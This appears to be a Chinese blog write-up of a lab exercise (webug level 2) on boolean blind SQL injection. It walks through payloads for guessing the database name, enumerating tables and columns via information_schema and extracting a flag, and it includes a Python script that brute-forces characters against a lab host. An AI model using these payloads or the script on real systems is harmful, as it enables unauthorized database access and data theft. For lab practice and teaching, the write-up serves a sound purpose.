前言
第二关布尔注入,从题目可以得到提示,布尔注入的话,与第一关显错注入的差别在于返回,是
或者 不是
,查询失败是没有返回的,所以不会报错,一般这种注入难度较大,可以使用工具才测试,比如sqlmap之类的
布尔注入记住一点:有返回就是正确的,没返回就代表有错
手工盲注的话其实和第一关的思路一样的:
解题过程
直接单引号试一下:
可以看到加了单引号后,没有返回,注释掉原有的引号;
有返回,因为这里是不能返回数据的,所以我们这里只能盲注,首先要猜测数据库名的长度:
payload:id=1' and length(database())>1 %23
爆破数据库名长度
这里我们慢慢更改名字的长度,直到测试到大于 5
时,发现没有返回,也就是数据库名长度是 5
,构造的sql造成了查询出错,所以没有返回了,现在我们就继续爆破数据库名:
payload:id=1' and left(database(),1)>'a' %23
这里爆破第一个字符,从a开始慢慢尝试
这里尝试的 w
的时候,发现没有返回,所以我们可以确定数据库名称的第一个字符是 w
同理,一直尝试,可以爆破出数据库名称是 webug
!
到这儿可以发现,这样盲注其实效率是很低的,所以还是建议使用工具来注入,手工太慢了
爆破表名
payload:1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))=100%23
这里使用ASCII码来判断的原因主要是节省时间,使用一个小脚本来跑,当然也可以使用burp suit来跑:
用到的代码:
import requests
url_template = 'http://192.168.129.148/control/sqlinject/bool_injection.php?id=1%27%20and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27webug%27%20limit%200,1),1,1))={}%23'
header = {
"Cookie": "PHPSESSID=30gq4tad6f7j2dffkfkg5mb0h4"
}
for i in range(0,127):
resp = requests.get(url_template.format(str(i)),headers=header)
resp.encoding = resp.apparent_encoding
resp = resp.text
print("{}----{}".format(str(i), str(len(resp))))
可以发现有一个返回的长度不对,说明这个请求有返回,这里100对应的ASCII码是:d
这样我们就测出来了第一个表名的第一个字符是d,以此类推,改变limit n,1就可以测试出第n个表;改变substr(str,n,1)就可以测试某个表名第n个字符,这里不再演示,请自己尝试
爆破表名
同猜测表名基本上是一样的步骤,直接上payload
payload:1' and ascii(substr((select column_name from information_schema.columns where table_schema='flag' limit 0,1),1,1))=105 %23
获取flag
payload:1' and ascii(substr((select flag from flag where id=1),1,1))=68 --+
1 条评论
滴!学生卡!打卡时间:上午10:53:21,请上车的乘客系好安全带~